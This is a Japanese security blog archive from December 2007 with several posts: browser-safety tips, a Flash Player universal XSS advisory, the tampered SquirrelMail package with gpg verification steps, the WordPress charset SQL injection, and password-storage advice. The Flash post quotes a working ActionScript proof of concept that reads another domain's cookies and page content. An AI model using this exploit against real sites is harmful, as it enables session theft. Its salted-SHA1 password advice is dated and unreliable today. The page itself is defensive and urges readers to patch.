月: 2007年12月

安全にInternet（ブラウザ）を利用する為のTips

一般的なユーザはインターネットを利用する場合のリスクを十分理解していない場合が多いと思います。コンピュータに詳しくない方が、より安全に利用する為のTipsを考えてみました。

• 常に最新バージョンのブラウザを利用する
• 常に最新バージョンのブラグインを利用する
• JavaScript/プラグインを無効にする
• ブラウザにインストールする拡張機能（プラグイン）は最小限にする
• 仮想環境でブラウザを利用する
• ログアウトする
• ブラウザを終了させる
• 管理者権限を持たないユーザでログインする
• ブラウザとプラグイン以外のアプリケーションも最新版を利用する
• 信用できそうなサイトもできるだけ信用しない
• インターネットからダウンロードしたアプリ、プラグイン、コーデック、ドライバ等をインストールしない
• サイト毎に別のパスワードを設定する
• 文字エンコーディングの自動認識を無効化する
• インターネットからダウンロードした出所が不明なドキュメントは開かない

ここに書いている対策は実際に自分も行っている対策なので、コンピュータに詳しくない方が全て実行するのは難しいとは思います。できる部分だけでも実行すると良いでしょう。

他にもコレ、といった対策／注意点があったら教えてください。

もっと読む

Flash Playerは即刻アップデート!

Flash Playerに深刻な脆弱性（簡単に他所のサイトのアカウントが乗っ取れる脆弱性と他の脆弱性）がありアップデートがリリースされています。

悪意のあるSWFファイルを読み込ませることによって脆弱性を悪用することができ、攻撃が成功すればシステムを乗っ取ることも可能だという。

http://internet.watch.impress.co.jp/cda/news/2007/12/20/17964.html

ここまでしか読まなければかなり控えめな表現であることが分かります。後半の方まで読むとエンジニアであれば理解できる書き方になっています。

Flash Playerにはクロスドメインポリシーファイルの扱いに関する脆弱性が存在しているという。その結果、細工を施されたWebページによって、サイトのクロスドメインポリシーが迂回される可能性があり、サイト管理者の意図に反してデータがアクセスされる可能性があるとしている。このほか、任意のHTTP ヘッダが送信可能な脆弱性も存在するという。

あまり素人向けの解説とは言えないかも知れません。Watchなのでこれでも良いのかも知れませんが。

Securiteamの記事は最初の方に重要な事が書いてあるので分かりやすいです。

This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains,

http://www.securiteam.com/securitynews/6E00L00KKC.html

Universal Cross Site Scriptingと呼ばれるタイプの非常に危険な脆弱性です。別の言い方をすると他所のドメインのクッキーを自由に盗める脆弱性です。悪意のあるフラッシュを実行するとログイン状態にあるサイトのアカウントを乗っ取られる可能性があります。

しかもこの脆弱性の攻撃は非常に簡単です。元ネタのStanford大のページ、Securiteamのサイトには攻撃方法が記載されています。

Exploit:
package {
  import flash.display.Sprite;
  import flash.net.*;
  import flash.utils.*;

  public class uxssdemo extends Sprite {
    public function uxssdemo() {
      setTimeout(DoAttack, 1000);
    }

    public function DoAttack():void {
      var request:URLRequest =
          new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: \\n\\n" + document.lastChild.innerHTML);window.close();');
      navigateToURL(request, 'tg');
    }
  }
}

Flashをよく知らない人でも簡単に攻撃できます。もしまだアップグレードしていない方は即刻Flash Playerをアップグレードした方がよいです。

Adobeのセキュリティ情報
http://www.adobe.com/support/security/bulletins/apsb07-20.html

Flashのダウンロードページ
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Flashのバージョンチェック
http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_15507

クロスサイトスクリプティングを防ぐための10のTips

クロスサイトスクリプティングを防ぐための10のTipsをgihyo.jpのブログに載せました。

Webサーバの設定になるので書いてませんがApacheなどでも明示的に文字エンコーディングを指定した方が、誤って違った文字エンコーディングで静的コンテンツを書いてしまった場合でも分かるのでよいと思います。

AddDefaultCharset utf-8

などとhttpd.conf/仮想ホストの設定ファイル、.htaccessなどに記述すると静的なコンテンツにも文字エンコーディングをHTTPヘッダレベルで指定できます。

あまりやらないと思いますが11番目を追加するなら「VBScriptを動的に生成する場合に注意を払う」あたりだと思います。

SquirrelMailのコードが改竄される

追記: 攻撃が目的の改竄だった模様です。
http://blog.ohgaki.net/index.php/yohgaki/2007/12/16/squirrelmail-1

—-

http://squirrelmail.org/index.php

によると、12/8にSquirrelMail 1.4.12のコードが改竄されていたようです。

While we believe the changes made should have little impact, we strongly recommend everybody that has downloaded the 1.4.12 package after the 8th December, to redownload the package.

The code modifications did not made it into our source control, just the final package. We are currently investigating older packages to see if they were also compromised.

攻撃用のコードは含まれていなかったようです。攻撃コードが含まれなかったのであれば、攻撃者は「パッケージを改竄してどの程度で改竄された事実が判明するかを検証する」等の目的を持っていたのだと思われます。

GNUのFTPサーバがクラックされた事例を思い出します。MD5などのシグニチャは必ずチェックするようにした方がよいのは当り前ですが、MD5やSHA1ハッシュの重要性を再認識してもらうにはよい機会かもしれません。

混乱を避けるためにSquirrelMail 1.4.13がリリースされています。
http://squirrelmail.org/download.php
新しいパッケージはGnuPGでもサインされています。

gpgでサインされた署名をチェックするには鍵を取得しなければなりません。gpg署名の確認方法を書いておきます。パッケージとそのパッケージに対応したgpg署名をダウンロードします。

[yohgaki@dev download]$ gpg –verify squirrelmail-1.4.13.tar.bz2.sig
gpg: 2007年12月15日 02時17分49秒 JSTにDSA鍵ID F8FD1F73で施された署名
gpg: 署名を検査できません: 公開鍵が見つかりません

鍵がないので署名が検証できません。鍵ID”F8FD1F73″で署名されているので取得します。

[yohgaki@dev download]$ gpg –keyserver pgp.nic.ad.jp –recv-key F8FD1F73
gpg: 鍵F8FD1F73をhkpからサーバーpgp.nic.ad.jpに要求
gpg: 鍵F8FD1F73: 公開鍵“Jonathan Angliss <jon @netdork.net>”を読み込みました
gpg: 最小の「ある程度の信用」3、最小の「全面的信用」1、classic信用モデル
gpg: 深さ: 0 有効性: 1 署名: 0 信用: 0-, 0q, 0n, 0m, 0f, 1u
gpg: 次回の信用データベース検査は、2009-02-05です
gpg: 処理数の合計: 1
gpg: 読込み: 1

この公開鍵を利用してもう一度チェックすると正しい署名であることが確認できます。

$ gpg –verify squirrelmail-1.4.13.tar.bz2.sig
gpg: 2007年12月15日 02時17分49秒 JSTにDSA鍵ID F8FD1F73で施された署名
gpg: “Jonathan Angliss <jon @netdork.net>”からの正しい署名
gpg: 別名“Valcor <valcor @netdork.net>”
gpg: 別名“Netdork Abuse <abuse @netdork.net>”
gpg: 別名“Netdork Sales <sales @netdork.net>”
gpg: 別名“Netdork Support <support @netdork.net>”
gpg: 別名“Jonathan Angliss <jon @squirrelmail.org>”
gpg: 別名“Netdork Security <security @netdork.net>”
gpg: 別名“Jonathan Angliss <jangliss @aaxchange.com>”
gpg: 警告: この鍵は信用できる署名で証明されていません!
gpg: この署名が所有者のものかどうかの検証手段がありません。
主鍵の指紋: 676A 1701 665B E343 E393 B8D2 2B83 E814 F8FD 1F73

警告が表示されているのは先ほど取得した公開鍵にサインしていないからです。「“Jonathan Angliss <jon @netdork.net>からの正しい署名」となっているので問題ありません。気になる場合は公開鍵を署名すれば警告メッセージは表示されなくなります。

公開鍵の署名は以下のリンクが参考になります。
http://homepage.mac.com/mio_rhapsody/gnupg/GnuPG_ShellScript.html#SignKey

WordPress Charset SQL Injection Vulnerability

http://www.securiteam.com/unixfocus/6N00D0AKKM.html

に解説されている脆弱性は基本中の基本です。

Most database query in WordPress uses escape() method to sanitize SQL string, which is essentially filtering input via addslashes() function. However addslashes() fails to consider character set used in SQL string, and blindly inserts backslash before any single quote, regardless of whether such backslashes will form another valid character or not.

addslashes()によるエスケープは行ってはならない、とよく言っていますがWordPressでさえaddslashes()を使っていたのですね。WordPressはUTF-8だけでなくGIB5とか使えるのですね。WordPressをSJISを使っている方は同じ脆弱性があるので要注意です。

本質的には私のブログでも指摘している脆弱性と同じ種類の問題です。

追記
CVEが出てます。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-6318

(1) Big5, (2) GBK, or possibly other character set encodings that support a “\” in a multibyte character.

BIG5, GBKエンコーディングが影響を受け他の文字に¥が現れる文字エンコーディングにも影響があると思われる、と書いてあります。つまりSJISが該当します。

対策を書いておきます。

• データベースを正しい文字エンコーディングで作成する
• アプリケーションからデータベースやクライアント文字エンコーディングを変更する場合、データベースのAPI(pg_client_encoding, mysql_set_charsetなど)を利用する(SQL文で変更しない)
• 文字列をデータベースクエリ用にエスケープする場合はデータベースAPIを利用する(pg_escape_string, mysql_real_escape_stringなど)

別の対策として、プリペアードクエリを利用する方法もあります。

壊れた文字エンコーディングの文字列を無理矢理扱えるようにする方法があります。しかし、壊れた文字エンコーディングを扱えるようにするとアプリケーションや環境に存在する未知の脆弱性により攻撃可能になるかもしれないリスクがあります。壊れた文字エンコーディングを扱えるようにするのではなく、既にあるデータは綺麗にして、新しい文字データは全て正しい文字エンコーディングであるように入力時にバリデーションすべきです。

安全性について知っておくべき事

パスワードの解読にも『PS3』が活躍
http://wiredvision.jp/news/200711/2007113023.html

PS3で米大統領選の結果を「正確に」予知?…実はMD5脆弱性への問題提起
http://slashdot.jp/security/07/12/02/1931233.shtml

PS3は演算処理性能が高くFoldings@HomeのClient statistics by OSをみるとPCの値に比べおよそ26倍の性能した。

「パスワードの解読にも『PS3』が活躍」の記事では100倍の性能を達成とあります。この100倍が意味するのはランダムな文字列の難しいパスワードを解読するのに100年かかっていたのが1年で済む、1000時間かかっていたのが10時間で済む、と言うことです。時間的にクラッキングが実用的ではなかった物が十分実用的になったと言えます。

「PS3で米大統領選の結果を「正確に」予知?…実はMD5脆弱性への問題提起」はアルゴリズムとハードウェアの向上により、数年前から予測されていた「同じMD5値を生成する事は簡単になる」状態になったことが実証された事になります。

Microsoft等のソフトウェア会社大手では随分前にMD5の利用を止めています。SHA1が同様な状態になるまではまだまだ時間が必要ですが時間の問題となってきたのかも知れません。

ところで、Webシステムの中にはいまだにパスワードをプレインテキストで保存している所が多数あります。メールで「パスワード」を教えてくれる大手サイトも少なくありません。最低限、SHA1ハッシュでパスワードは保存しましょう… できればsalt付きで。

パスワードの最大文字数が少なすぎるサイトも稀に見かけます。パスワード文字列が少なすぎるサイトなら簡単にクラックされる可能性があります。256バイトくらいは入力できるようにしておいた方が良いでしょう。数年前の研究結果だったと思いますがその論文によると、文章になっている長い文字列のパスワードの場合、辞書に載っている単語ばかりを利用していても十分な強度持っているとされていました。